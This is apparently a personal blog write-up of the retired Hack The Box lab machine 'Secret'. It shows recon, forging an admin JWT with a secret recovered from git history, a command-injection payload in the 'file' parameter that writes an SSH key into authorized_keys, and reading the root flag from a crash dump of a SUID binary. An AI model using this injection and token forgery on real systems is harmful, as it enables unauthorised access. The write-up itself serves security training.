Secret @ Hack The Box

A write-up on HTB Secret Box

images/banner.png

Secret was a Linux box set up by z9fr at Hack the Box. This machine was easy in terms of difficulty and now it has been retired.

Reconnaissance

Starting with recon for the initial information gathering, I scan the machine (10.10.11.120) using nmap.

┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ sudo nmap -sV -sC 10.10.11.120
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-25 20:20 UTC
Nmap scan report for 10.10.11.120
Host is up (0.21s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.05 seconds

For more information about the hosted pages, I brute-force the URLs by carring out subdomain enumeration using gobuster.

┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ gobuster dir -u http://10.10.11.120/ -w /usr/share/dirb/wordlists/common.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.120/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/03/08 20:31:34 Starting gobuster in directory enumeration mode
===============================================================
/api                  (Status: 200) [Size: 93]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/docs                 (Status: 200) [Size: 20720]             
/download             (Status: 301) [Size: 183] [--> /download/]
                                                                
===============================================================
2022/03/08 20:34:13 Finished
===============================================================

Initial foothold

Now it’s the time to view the site.
images/secret_site.png

Well, it has some documentation related to the usage of the API. Additionally, the source code of website is available there to download, too. I download the code as an archive for further analysis.
Also, after going through the API docuentation, we can perform following steps sequentially:

1. Register New User

┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ curl -i -X POST \
> -H 'Content-Type: application/json' \
> -d '{"name":"blackhole", ""email":"hacker@mail.io", 
> "password":"aneasyone"}' \
> http://10.10.11.120/api/user/register 

After this, we get the following response:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 31 Mar 2022 11:28:34 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 20
Connection: keep-alive
X-Powered-By: Express
ETag: W/"14-rrPrgAL7kbu96u9yO7ZEB761yRI"

{"user":"blackhole"}

2. Login with this credentials

┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ curl -i -X POST \
> -H 'Content-Type: application/json' \
> -d '{"email":"hacker@mail.io", "password":"aneasyone"}' \
> http://10.10.11.120/api/user/login

The successful login will give JWT token in response.

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 31 Mar 2022 11:31:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 208
Connection: keep-alive
X-Powered-By: Express
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ1OTA2MmY4MGEzYjA0NzMzNTczZTIiLCJuYW1lIjoiYmxhY2tob2xlIiwiZW1haWwiOiJoYWNrZXJAbWFpbC5pbyIsImlhdCI6MTY0ODcyNjI4N30.-Wy5aHO15p34Gde8qUELpcxwRsUJkeF9mJI3hOmegrs
ETag: W/"d0-19bfrWHaccD2B5CLvVRfktWZMqg"

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ1OTA2MmY4MGEzYjA0NzMzNTczZTIiLCJuYW1lIjoiYmxhY2tob2xlIiwiZW1haWwiOiJoYWNrZXJAbWFpbC5pbyIsImlhdCI6MTY0ODcyNjI4N30.-Wy5aHO15p34Gde8qUELpcxwRsUJkeF9mJI3hOmegrs
┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ curl -w '\n' -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ1OTA2MmY4MGEzYjA0NzMzNTczZTIiLCJuYW1lIjoiYmxhY2tob2xlIiwiZW1haWwiOiJoYWNrZXJAbWFpbC5pbyIsImlhdCI6MTY0ODcyNjI4N30.-Wy5aHO15p34Gde8qUELpcxwRsUJkeF9mJI3hOmegrs' http://10.10.11.120/api/priv

Although it’s user level as expacted and can be seen in response:

{"role":{"role":"you are normal user","desc":"blackhole"}}

It means that somehow, if we can get the admin’s JWT token, we can spoof the system. Or we can also try making such similar token.. isn’t it;)

3. Customize the JWT token

From the downloaded source code, we checked local-web/routes/private and found the admin’s username and email. The following snippet (line 5 to 29) gives the same as below:

router.get('/priv', verifytoken, (req, res) => {
 // res.send(req.user)

  const userinfo = { name: req.user }

  const name = userinfo.name.name;
    
  if (name == 'theadmin'){
      res.json({
          creds:{
              role:"admin", 
              username:"theadmin",
              desc : "welcome back admin,"
          }
      })
  }
  else{
      res.json({
          role: {
              role: "you are normal user",
              desc: userinfo.name.name
          }
      })
  }
})

Let’s customize the JWT token at jwt.io. I checked for previlige again using updated token but it still shows the same. Exploring the code further, we found that it is a git repository. So we checked the previous git logs. after the logs. It further directed me to .env file.

images/5_1log.png

DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

I tried updating the JWT token with recently found secret token ('secret'). But while checking for previlage, we found the token to be invalid! Looking for previous commits, one of the recent commit message directed to check the previous commits.

┌──(kali㉿blackbox)-[~/Documents/HTB/Secret/files/local-web]
└─$ git diff HEAD~2
diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret

And here we got the secret! I update the token again…

images/5_3new_jwt.png

Checking for freshly updated JWT token gives following response:

{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

Now as we have the admin previllege we can view into /etc/passwd that tells that currently we have access to the ‘dasith’ user.

images/6_2.png

This ensures that we can also create new files through CLI just using the admin JWT token.

Privilege escalation

Now, we would add our RSA public key in remote (Secret) machine’s .ssh/ directory. A RSA key-pair can easily be generated using ssh-keygen -t rsa. I have generated one such pair with name ‘id_rsa’ and ‘id_rsa.pub.

images/6_3_2keygen2.png

Save the public key in the .ssh directory on remote dasith (user) home directory using JWT token.

┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ export SSH_KEY=$(cat /home/kali/.ssh/id_rsa.pub)
┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ curl -i -H \
> 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ1OTA2MmY4MGEzYjA0NzMzNTczZTIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjQ4NzI2Mjg3fQ.1ngbn1hcez15CPa9itaGDf1B1hpYcy1d1OzQEaQtkyU' \
> -G --data-urlencode "file=index.js; mkdir -p /home/dasith/.ssh; echo $SSH_KEY >> /home/dasith/.ssh/authorized_keys" \
> http://10.10.11.120/api/logs

On the key has successfully been pushed, we’ll get the following response:

### rsp 
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 31 Mar 2022 12:17:24 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 27
Connection: keep-alive
X-Powered-By: Express
ETag: W/"1b-pFfOEX46IRaNi6v8ztcwIwl9EF8"

"ab3e953 Added the codes\n"

Gaining user (dasith)

As we already have the authorized private key at our system, we can simply try accessing the dasith on secret machine using ssh.

┌──(kali㉿blackbox)-[~]
└─$ ssh dasith@10.10.11.120

Enter password as you used while generating the RSA key-pair. (leave if key does not consist any passphrase). It’ll quickly let us to gain user’s shell. e can find the user flag in the hoe directory of dasith.

images/7login_user_secret.png

The user flag can be seen in the user’s home directory as user.txt:

429338😈😈😈😈😈😈😈932c42

Gaining root

While searching for the SUID binary files using find / -perm -u=s -type f 2>/dev/null, we arrived to the /opt/ directory. Along with the executable file count, there resides a code.c.

By going through the source code, we found that it can load any file from the system and save the current session if asked for it. The interesting part is that if the program crashes somehow, it would dump the data loaded so far in the crash-logs.

Well, therefor we’ll try to read root flag /root/root.txt using count executable file without saving the data anywhere and let the process run in background.

images/8_1rootOwnBeg.png

Now we can mannually kill the process and once done so, idealy the dump must be available for us to read.

dasith@secret:~$ kill -BUS 2365

images/8_2dumpLoc.png

After viewing the CoreDump data, we track the flag in it. See the part of CoreDump below:

=
 ▒`��DE�U(��DE�U8�DE��  ������o����o���o��DE�U���o▒=��0ϼ�u�PO��`����+�`r�N��N�`^�������������.��p��Z�0b�����r��o����DE�U�Save results a file? [y/N]: words      = 2
Total lines      = 2
/root/root.txt
��$�����F�U���F�U���F�U���F�U���F�U���F�U���F�U���F�U������F�U�����������F�U�������`��5fdbf2😈😈😈😈😈😈😈41122f
a�ELF>�qTy+�8@ED��J�R@I@IPPP�u�u���e�e�v��P؎�������PPP pppDDv��S�tdPPP P�td����^�^Q�tdR�tdv��**GNU�GNU  ��%������X>��NGNU�?     �8      :������R'��C���E~���*             *� _D����S$dIp��701�G����,���[9▒\  -|���/�m��
��                                                                Q�4   ��nY!   v�uk\�2R<�� �����r��f�)���m�▒�  `���b
  ��2��=lU�!

Finally, the flag present in /root/root.txt is :

5fdbf2😈😈😈😈😈😈😈41122f

Avatar
Ravi Prakash Tripathi
Research Associate

A Ph.D. fellow working on “Avatar Security in Metaverse” who could often be found somewhere messing up with bugs & vulnerabilities, contributing to open source or writing poems.

Next
Previous

Related